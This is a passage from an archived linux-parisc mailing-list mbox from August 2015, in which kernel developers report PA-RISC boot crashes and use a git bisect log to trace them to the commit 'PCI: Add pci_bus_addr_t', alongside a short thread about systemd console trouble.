[   14.416000] scsi host0: sym-2.2.3
[   20.056000] sym1: <896> rev 0x4 at pci 0000:00:0f.1 irq 69
[   20.124000] sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
[   20.204000] sym1: SCSI BUS has been reset.
[   20.260000] sym1: SCSI BUS mode change from SE to SE.
[   20.260000] sym1: SCSI BUS has been reset.
[   20.372000] scsi host1: sym-2.2.3
[   22.420000] random: nonblocking pool is initialized
[   24.600000] scsi 1:0:3:0: Direct-Access     SEAGATE  ST118273WC       HP14 PQ: 0 ANSI: 2

Since the J5000 has another SCSI driver, I assume the problem is in changes in the SCSI layer or the sym53c8xx driver.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: bad address in handle_percpu_irq
Date: Mon, 17 Aug 2015 21:30:14 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <BLU436-SMTP1851BC069EDCD672D8DF7C97780@phx.gbl>
References: <55D0313E.3090602@gmail.com> <55D06863.1090506@gmail.com> <55D0E295.2070000@gmx.de> <CAFk90B-eLz+wVavRA07SA6bVt1EUaFsWd6Xs8DsR_m73OD-kWg@mail.gmail.com> <CAFk90B_v5A-S-5gofZ7tSO=wkb9LF860LLX5OH9vkNzV9igGyA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1439861430 5029 80.91.229.3 (18 Aug 2015 01:30:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Aug 2015 01:30:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Graham Gower <graham.gower@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 03:30:21 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZRVjH-0003nN-TA
	for glpp-linux-parisc@plane.gmane.org; Tue, 18 Aug 2015 03:30:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751182AbbHRBaT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Aug 2015 21:30:19 -0400
Original-Received: from blu004-omc4s6.hotmail.com ([65.55.111.145]:56396 "EHLO
	BLU004-OMC4S6.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751161AbbHRBaS convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Aug 2015 21:30:18 -0400
Original-Received: from BLU436-SMTP18 ([65.55.111.137]) by BLU004-OMC4S6.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Mon, 17 Aug 2015 18:30:17 -0700
X-TMN: [dGzbBxiLtf/985xDdJMT4AaOWv7IYsw+]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <CAFk90B_v5A-S-5gofZ7tSO=wkb9LF860LLX5OH9vkNzV9igGyA@mail.gmail.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 18 Aug 2015 01:30:16.0528 (UTC) FILETIME=[6FD2D500:01D0D955]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25967
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25967>

On 2015-08-17, at 8:55 AM, Graham Gower wrote:

> Disabling systemd appears to mitigate this issue. I was getting the
> panic most boots, now I haven't seen one in since switching back to
> sysvinit.

See the same on rp3440 with systemd-sysv.

It might be a kernel feature issue as the sibaris buildd machine seems to be
running okay with systemd-sysv.

With systemd-shim and cgmanager, cgmanager somtimes runs away and needs
restarting.  There are also annoying console messges like the following:

mx3210 login: systemd-logind[3571]: New seat seat0.
systemd-logind[3571]: Failed to start user service: Unknown unit: user@1000.service
systemd-logind[3571]: New session c1 of user dave.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Tue, 18 Aug 2015 15:01:41 +0200
Lines: 126
Approved: news@gmane.org
Message-ID: <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>,
 <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439902919 9255 80.91.229.3 (18 Aug 2015 13:01:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Aug 2015 13:01:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Meelis Roos" <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 15:01:49 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZRgWS-0007jd-Oz
	for glpp-linux-parisc@plane.gmane.org; Tue, 18 Aug 2015 15:01:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751571AbbHRNBs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Aug 2015 09:01:48 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:64596 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751353AbbHRNBr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Aug 2015 09:01:47 -0400
Original-Received: from [155.56.68.215] by 3capp-gmx-bs02.server.lan (via HTTP); Tue,
 18 Aug 2015 15:01:41 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:dKz0a4saEteTmbKi3kZYyMQhRvNJi0e3JTa0K4Oe84v
 kh8IsTFlvgwFXug3hTVpbYXC8A5spstu0WYShLInpDYarCFbwc
 yAOattq7fpXoPIWiwEdIoL5zJevch4sJ8M1XJ4FmO8J9l86Y9c
 ILlm24NvKHHcMXTp3cJ3shhCzZiz+9zYdgpUTRB0ymA8V8Ltxg
 j6Tw+lyGJryeTjaDT3DHJOIYiBb8QL4vYMO+RMm6wahiiMvnu6
 3YagTlm3YbmGiDuAO+5+w6JxRglAZeM016sR7RKBh5b79sIzbc zGDopM=
X-UI-Out-Filterresults: notjunk:1;V01:K0:kH/0uxrgmg4=:BFqRas3bBx3eD97aDIGHhj
 ZIcdQDyefFmlZYaOrXcFciKfdfOOBCGiO6WH24xd6w3bxz1EH0j+xLtQzD8i4cuPozOcHqqw7
 RIbCRdKg/nYgbRO2GUZHm1ZgUQssHC7wLROv/1Xy4Xe+v7FpZmc3QyfnNKFVz+Sd/2C0BdicD
 x4aUSVYi8PWXTFWfo+tkIBMSTX5aC9fsBl5SR/heCwrXLBcju27J4oG3ado/5YI5tHX5/GPOs
 +bTF5YyXhI6bP819fQxAuVja64BckWCintjcS7TRSX3rjXuhMRk+qBOJvJ5eUnwW0exajlbcG
 xiCwNh/W+DyKR4HlZ/zfgwkhMEfZCoa2fv6RKRoGueKiI5eEwmhOg3EZMfNLP9Pp2ShvLh4Ua
 d6wPGPv+DhmZ0pi+ppdjQZk9t2OZg+ll6DxDJnprvCD5tnTINbGnFkxo3nVDokkCKlKIAgC3G
 K//nr8f2QQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25968>

> > Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is 
> > still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but 
> > it takes time.
> > 
> > PDC Stable Storage facility v0.30
> > STI GSC/PCI core graphics driver Version 0.9b
> > Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
> > serial 0000:00:04.0: enabling device (0146 -> 0147)
> > console [ttyS0] disabled
> > 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 21, base_baud = 115200) is a 16550A
> > console [ttyS0] enabled
> > console [ttyS0] enabled
> > bootconsole [ttyB0] disabled
> > bootconsole [ttyB0] disabled
> > 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 21, base_baud = 115200) is a 16550A
> > 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 21, base_baud = 115200) is a 16550A
> > serial 0000:00:05.0: enabling device (0000 -> 0003)
> > serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
> > 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8003000 (irq = 22, base_baud = 115200) is a 16550A
> > serial 0000:00:05.0: Couldn't register serial port 0, irq 22, type 2, error -28
> > sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
> > sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
> 
> I'm seeing the same problem on my rp5470 with Kernel 4.2-rc7. My machine just hangs though and doesn't crash.

I did a bisect and commit 3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d ("PCI: Add pci_bus_addr_t") seems to be the culprit:
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d

Since the patch has "CC: stable@vger.kernel.org  # v3.19+", it might be the reason why you see kernel 3.19 failing too...

Helge

[deller@ls3530 linux-2.6]$ git bisect good v4.1
[deller@ls3530 linux-2.6]$ git bisect bad v4.2-rc3
Bisecting: 6909 revisions left to test after this (roughly 13 steps)
[0db9723cacf4d62bc3685fb15179b39ee4e17679] Merge branch 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/rzhang/linux
[deller@ls3530 linux-2.6]$ git bisect bad 
Bisecting: 3289 revisions left to test after this (roughly 12 steps)
[e3d8238d7f5c3f539a29f5ac596cd342d847e099] Merge tag 'arm64-upstream' of git://git.kernel.org/pub/scm/linux/kernel/git/arm64/linux
[deller@ls3530 linux-2.6]$ git bisect bad 
Bisecting: 1662 revisions left to test after this (roughly 11 steps)
[c70c5fb2b96dae0996fb0877d996458d3ca57eda] Merge tag 'pwm/for-4.2-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/thierry.reding/linux-pwm
[deller@ls3530 linux-2.6]$ git bisect good
Bisecting: 824 revisions left to test after this (roughly 10 steps)
[acd53127c4adbd34570b221e7ea1f7fc94aea923] Merge tag 'scsi-misc' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi
[deller@ls3530 linux-2.6]$ git bisect bad 
Bisecting: 482 revisions left to test after this (roughly 9 steps)
[cb8a4deaf9b2778653c4391d8ccb24c5ab159f9d] Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/trivial
[deller@ls3530 linux-2.6]$ git bisect bad 
Bisecting: 172 revisions left to test after this (roughly 8 steps)
[234a56c80a6aa7a05fec05d8b7184354d8765b48] Merge tag 'hwmon-for-linus-v4.2' of git://git.kernel.org/pub/scm/linux/kernel/git/groeck/linux-staging
[deller@ls3530 linux-2.6]$ git bisect good
Bisecting: 96 revisions left to test after this (roughly 7 steps)
[a394c6a0b361fe7b6ffec0e33e9100db5e777b24] Merge git://git.kernel.org/pub/scm/linux/kernel/git/brodo/pcmcia
[deller@ls3530 linux-2.6]$ git bisect bad 
Bisecting: 42 revisions left to test after this (roughly 5 steps)
[0ff9b9bad66730e8347cb3350c8d3d1b88a21f13] Merge branches 'pci/aspm', 'pci/enumeration', 'pci/hotplug', 'pci/misc', 'pci/msi', 'pci/resource' and 'pci/virtualization' into next
[deller@ls3530 linux-2.6]$ git bisect bad 
Bisecting: 25 revisions left to test after this (roughly 4 steps)
[c6201cd8513db2db54b248a862672849ed9ccb82] PCI/MSI: Remove unused pci_msi_off()
[deller@ls3530 linux-2.6]$ git bisect good
Bisecting: 19 revisions left to test after this (roughly 4 steps)
[0c0cbb6c5a04a169320df1812e58b10362865e95] PCI/ASPM: Simplify Clock Power Management setting
[deller@ls3530 linux-2.6]$ git bisect good
Bisecting: 14 revisions left to test after this (roughly 3 steps)
[a5dd4b4b0570b3bf880d563969b245dfbd170c1e] PCI: pciehp: Wait for hotplug command completion where necessary
[deller@ls3530 linux-2.6]$ git bisect good
Bisecting: 9 revisions left to test after this (roughly 3 steps)
[c0300089fd2dbeebef5ab9b6d66b4e6cedf8500a] PCI: Remove unused pci_scan_bus_parented()
[deller@ls3530 linux-2.6]$ git bisect good
Bisecting: 5 revisions left to test after this (roughly 2 steps)
[917bfd93d3c9c644743940deaf8fe0cff77947eb] ACPI / PCI: Account for ARI in _PRT lookups
[deller@ls3530 linux-2.6]$ git bisect good
Bisecting: 2 revisions left to test after this (roughly 2 steps)
[d59d36a7fce6707acae644621320a75ab93f1856] PCI: Remove unused pcibios_select_root() (again)
[deller@ls3530 linux-2.6]$ git bisect good
Bisecting: 1 revision left to test after this (roughly 1 step)
[3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d] PCI: Add pci_bus_addr_t
[deller@ls3530 linux-2.6]$ git bisect bad 
3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d is the first bad commit
commit 3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d
Author: Yinghai Lu <yinghai@kernel.org>
Date:   Wed May 27 17:23:51 2015 -0700

    PCI: Add pci_bus_addr_t
    
    David Ahern reported that d63e2e1f3df9 ("sparc/PCI: Clip bridge windows
    to fit in upstream windows") fails to boot on sparc/T5-8:
    
      pci 0000:06:00.0: reg 0x184: can't handle BAR above 4GB (bus address 0x110204000)
    
    The problem is that sparc64 assumed that dma_addr_t only needed to hold DMA
    addresses, i.e., bus addresses returned via the DMA API (dma_map_single(),
    etc.), while the PCI core assumed dma_addr_t could hold *any* bus address,
    including raw BAR values.  On sparc64, all DMA addresses fit in 32 bits, so
    dma_addr_t is a 32-bit type.  However, BAR values can be 64 bits wide, so
    they don't fit in a dma_addr_t.  d63e2e1f3df9 added new checking that
    tripped over this mismatch.
    
    Add pci_bus_addr_t, which is wide enough to hold any PCI bus address,
    including both raw BAR values and DMA addresses.  This will be 64 bits
    on 64-bit platforms and on platforms with a 64-bit dma_addr_t.  Then
    dma_addr_t only needs to be wide enough to hold addresses from the DMA API.
    
    [bhelgaas: changelog, bugzilla, Kconfig to ensure pci_bus_addr_t is at
    least as wide as dma_addr_t, documentation]
    Fixes: d63e2e1f3df9 ("sparc/PCI: Clip bridge windows to fit in upstream windows")
    Fixes: 23b13bc76f35 ("PCI: Fail safely if we can't handle BARs larger than 4GB")
    Link: http://lkml.kernel.org/r/CAE9FiQU1gJY1LYrxs+ma5LCTEEe4xmtjRG0aXJ9K_Tsu+m9Wuw@mail.gmail.com
    Link: http://lkml.kernel.org/r/1427857069-6789-1-git-send-email-yinghai@kernel.org
    Link: https://bugzilla.kernel.org/show_bug.cgi?id=96231
    Reported-by: David Ahern <david.ahern@oracle.com>
    Tested-by: David Ahern <david.ahern@oracle.com>
    Signed-off-by: Yinghai Lu <yinghai@kernel.org>
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
    Acked-by: David S. Miller <davem@davemloft.net>
    CC: stable@vger.kernel.org  # v3.19+

:040000 040000 ce493c3ad8e7b3e9b1f48f53588880827a48a082 76798494194e545219eb18dbb9f5209e02796820 M      Documentation
:040000 040000 19b4d25aa55534c88947c00c5862baf292f836dd 7adaff85e1fd7b27f053bdbf52d3bf6184a9fa54 M      drivers
:040000 040000 37493ef5238ad154ccad6a184617975e8502730e 93e417046cd848c639c9c4364009224bd4fa0500 M      include
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.sparc
Subject: Re: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Tue, 18 Aug 2015 21:44:13 +0300 (EEST)
Lines: 44
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>, <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71> <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1439923441 31830 80.91.229.3 (18 Aug 2015 18:44:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Aug 2015 18:44:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-pci@vger.kernel.org,
	David Ahern <david.ahern@oracle.com>,
	Bjorn Helgaas <bhelgaas@google.com>, sparclinux@vger.kernel.org
To: Helge Deller <deller@gmx.de>, Yinghai Lu <yinghai@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 18 20:43:55 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZRlrU-0004OM-MV
	for glpp-linux-parisc@plane.gmane.org; Tue, 18 Aug 2015 20:43:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753824AbbHRSnw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Aug 2015 14:43:52 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:60703 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753014AbbHRSnv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Aug 2015 14:43:51 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 3B3BA73FBD8;
	Tue, 18 Aug 2015 21:43:50 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id 76C4B220E8A; Tue, 18 Aug 2015 21:44:13 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 6B2A0220C24;
	Tue, 18 Aug 2015 21:44:13 +0300 (EEST)
In-Reply-To: <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25969 gmane.linux.kernel.pci:44448 gmane.linux.ports.sparc:21480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25969>

(CC-s added)

> > > Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is 
> > > still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but 
> > > it takes time.
> > > 
> > > PDC Stable Storage facility v0.30
> > > STI GSC/PCI core graphics driver Version 0.9b
> > > Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
> > > serial 0000:00:04.0: enabling device (0146 -> 0147)
> > > console [ttyS0] disabled
> > > 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 21, base_baud = 115200) is a 16550A
> > > console [ttyS0] enabled
> > > console [ttyS0] enabled
> > > bootconsole [ttyB0] disabled
> > > bootconsole [ttyB0] disabled
> > > 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 21, base_baud = 115200) is a 16550A
> > > 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 21, base_baud = 115200) is a 16550A
> > > serial 0000:00:05.0: enabling device (0000 -> 0003)
> > > serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
> > > 0000:00:05.0: ttyS3 at MMIO 0xfffffffff8003000 (irq = 22, base_baud = 115200) is a 16550A
> > > serial 0000:00:05.0: Couldn't register serial port 0, irq 22, type 2, error -28
> > > sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
> > > sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
> > 
> > I'm seeing the same problem on my rp5470 with Kernel 4.2-rc7. My machine just hangs though and doesn't crash.
> 
> I did a bisect and commit 3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d ("PCI: Add pci_bus_addr_t") seems to be the culprit:
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3a9ad0b4fdcd57f775d3615004c8c64c021a9e7d
> 
> Since the patch has "CC: stable@vger.kernel.org  # v3.19+", it might be the reason why you see kernel 3.19 failing too...

I just found the same commit breaking my A500 parisc machine by 
bisecting.

CC: patch author and linux-pci.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.kernel.pci
Subject: Re: Aw: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Tue, 18 Aug 2015 21:47:50 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <55D38BE6.6080302@gmx.de>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
 <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
 <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
 <alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439927287 29513 80.91.229.3 (18 Aug 2015 19:48:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Aug 2015 19:48:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-pci@vger.kernel.org,
	David Ahern <david.ahern@oracle.com>,
	Bjorn Helgaas <bhelgaas@google.com>,
	sparclinux@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: Meelis Roos <mroos@linux.ee>, Yinghai Lu <yinghai@kernel.org>
Original-X-From: sparclinux-owner@vger.kernel.org Tue Aug 18 21:48:06 2015
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1ZRmrd-0002Yu-Tl
	for lnx-sparclinux@plane.gmane.org; Tue, 18 Aug 2015 21:48:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754057AbbHRTsE (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 18 Aug 2015 15:48:04 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:55897 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752501AbbHRTsD (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Tue, 18 Aug 2015 15:48:03 -0400
Original-Received: from [192.168.20.60] ([92.203.53.83]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0M1Wcz-1Ycptr3FyT-00tQCO; Tue, 18 Aug 2015 21:47:54
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
X-Provags-ID: V03:K0:0vJPdmqmG8XsWSs7g2rEsCHWfAvLIFaKL2weiUassgzTx0P3dzM
 Nojg3+EVhN0Ofu2u0D5C4AjdO0y/0jaRsRv1DPMIyleD84MVtlDg5Ob2iEuZByC9wi8LNxE
 edFNMYGuisQNGpukGiJSRbJcLiKr09gOsJdGqzkDEsMT93G1HqlqKT+q3Pu23Cf4zsRgpvU
 pCs407oDkpFMXwgLrUUsw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:XqFhUGamS/M=:h7EW1SPP8dsmMBDHzJf/Gv
 Vm2X446G7dTb4pzl4ylRN5A+Od5HPB94d2zUNJRTM2xljOcRUKHcRV8gs6W/vjFBNxTCEoSD2
 NDH582icqrYy4Xjwv1LZMbDtNAWrmF2g+oZB96U1/VKYrITHmh4xSQImkeQ+29odu4UJnSHVd
 vOMLRHin4KxKlAGRCTex6iErn8hANPUI0SJFLQplUAk0u4yzwhOz0QtPou/L0mPO2Fq9xQIVe
 fGyzyUCCCixZjDSv11+KWdsdPKx8nHs9ONRsy+eKeIw1HNgplm+XbjGbj7gFQ5ndDZYcEEnqQ
 W7/FSAbbe8xravKgF69A/flIeni6BzOJfy7JXZeWxQhiRLF/NIvF+U+1r1e8qVTzdybDlqPQV
 lny/Sopcm1S6g8RVhRpy4YYh1LMvk9YPbnB4GFmNjvHtwRRvb8XjKKC/WGKdBBejRa15vZqPP
 9RxqgfLZgIWkLSSnMtsVdO5lsqgrbbuBkSB52WmESjJi2aXEXvdatnFN7LilZm8E1th9jw5iM
 yXYVdRg1UK80heC50P9//Ju/2JtZ4zF2or64rld6PoqIJA+trp3+ZNZhwqX2SqJrYnps6QaPD
 JPea3lALKvxicpXfl4qUfsSvFBYfbS+WIDgOk975/reFP1kQbXKAuXXfb+RrkyRNYKBTTOzwm
 /xsZEcdsS0lTZ1BgA6dNt1QDdyek/C5f6skn/OOUvBoIyRN4yQ1EOasSJQSxi1GmENTosmjG7
 2dp2lMKFrrK++6z8CY31ZvWw6+UlRGWFuIVcbw==
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:21483 gmane.linux.ports.parisc:25970 gmane.linux.kernel.pci:44469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/21483>

On 18.08.2015 20:44, Meelis Roos wrote:
> (CC-s added)
>
>>>> Tried 4.2.0-rc3-00246-g763e326 on A500 but it crashes on boot. This is
>>>> still present in todays 4.2.0-rc6+git. 4.1 was fine, I Will bisect but
>>>> it takes time.
>>>>
>>>> PDC Stable Storage facility v0.30
>>>> STI GSC/PCI core graphics driver Version 0.9b
>>>> Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled
>>>> serial 0000:00:04.0: enabling device (0146 -> 0147)
>>>> console [ttyS0] disabled
>>>> 0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 21, base_baud = 115200) is a 16550A
>>>> console [ttyS0] enabled
>>>> console [ttyS0] enabled
>>>> bootconsole [ttyB0] disabled
>>>> bootconsole [ttyB0] disabled
>>>> 0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 21, base_baud = 115200) is a 16550A
>>>> 0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 21, base_baud = 115200) is a 16550A
>>>> serial 0000:00:05.0: enabling device (0000 -> 0003)
>>>> serial 0000:00:05.0: enabling SERR and PARITY (0003 -> 0143)
